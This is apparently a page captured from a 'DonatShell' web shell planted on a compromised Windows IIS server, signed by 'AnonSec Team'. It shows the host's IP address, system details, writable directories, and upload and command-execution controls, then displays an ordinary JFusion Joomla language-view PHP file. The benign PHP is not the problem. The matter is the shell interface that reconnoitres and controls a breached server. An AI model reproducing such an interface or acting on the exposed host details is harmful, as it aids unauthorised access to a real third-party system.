DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.252
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/webroot/news/administrator/components/com_jfusion/views/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/webroot/news/administrator/components/com_jfusion/views/languages/view.html.php
<?php

/**
 * This is view file for versioncheck
 *
 * PHP version 5
 *
 * @category   JFusion
 * @package    ViewsAdmin
 * @subpackage Versioncheck
 * @author     JFusion Team <webmaster@jfusion.org>
 * @copyright  2008 JFusion. All rights reserved.
 * @license    http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link       http://www.jfusion.org
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

/**
 * Renders the main admin screen that shows the configuration overview of all integrations
 *
 * @category   JFusion
 * @package    ViewsAdmin
 * @subpackage Versioncheck
 * @author     JFusion Team <webmaster@jfusion.org>
 * @copyright  2008 JFusion. All rights reserved.
 * @license    http://www.gnu.org/copyleft/gpl.html GNU/GPL
 * @link       http://www.jfusion.org
 */
class jfusionViewlanguages extends JView
{
    /**
     * displays the view
     *
     * @param string $tpl template name
     *
     * @return mixed|string html output of view
     */
    function display($tpl = null)
    {
        //get the jfusion news
        ob_start();

	    jimport('joomla.version');
	    $jversion = new JVersion();
        $data = JFusionFunctionAdmin::getFileData('http://update.jfusion.org/jfusion/joomla/?version='.$jversion->getShortVersion());

        $lang_repo = array();
	    $xml = JFusionFunction::getXml($data,false);
        if ($xml) {
	        $languages = $xml->getElementByPath('languages')->children();
	        /**
	         * @ignore
	         * @var $language JSimpleXMLElement
	         */
	        foreach ($languages as $language) {
		        $name = $language->attributes('tag');

		        $lang = new stdClass;
		        $lang->file = $language->getElementByPath('remotefile')->data();
		        $lang->date = $language->getElementByPath('creationdate')->data();
		        $lang->description = $language->getElementByPath('description')->data();
		        $lang->progress = $language->getElementByPath('progress')->data();
		        $lang->translateurl = $language->getElementByPath('translateurl')->data();
		        $lang->currentdate = null;
		        $lang->class = 'row';

		        $lang_repo[$name] = $lang;
	        }
        }

        if (JFusionFunction::isJoomlaVersion('2.5')) {
            $db = JFactory::getDBO();
            $query = 'SELECT element, manifest_cache FROM #__extensions WHERE name LIKE \'jfusion %\' AND type LIKE \'file\' AND client_id = 0';
            $db->setQuery($query);
            $results = $db->loadObjectList();

            if(!empty($results)) {
                foreach ($results as $result) {
                    if (isset($lang_repo[$result->element])) {
                        $cache = json_decode($result->manifest_cache);
                        $lang_repo[$result->element]->currentdate = $cache->creationDate;

                        if ( $lang_repo[$result->element]->currentdate == $lang_repo[$result->element]->date ) {
                            $lang_repo[$result->element]->class = 'good';
                        } else {
                            $lang_repo[$result->element]->class = 'bad';
                        }
                    }
                }
            }
        } else {
            $path = JPATH_ADMINISTRATOR.DS.'language';
            $paths = JFolder::folders($path);
            foreach ($paths as $tag) {
	            $xml = JFusionFunction::getXml($path.DS.$tag.DS.$tag.'.com_jfusion.xml');
                if ($xml) {
                    $date = $xml->getElementByPath('creationdate')->data();
                    if ( $date) {
                        $lang_repo[$tag]->currentdate = $date;
                    }
                }
            }
        }
        ob_end_clean();
	    ksort($lang_repo);
        $this->assignRef('lang_repo', $lang_repo);

        parent::display($tpl);
    }
}

Anon7 - 2022
AnonSec Team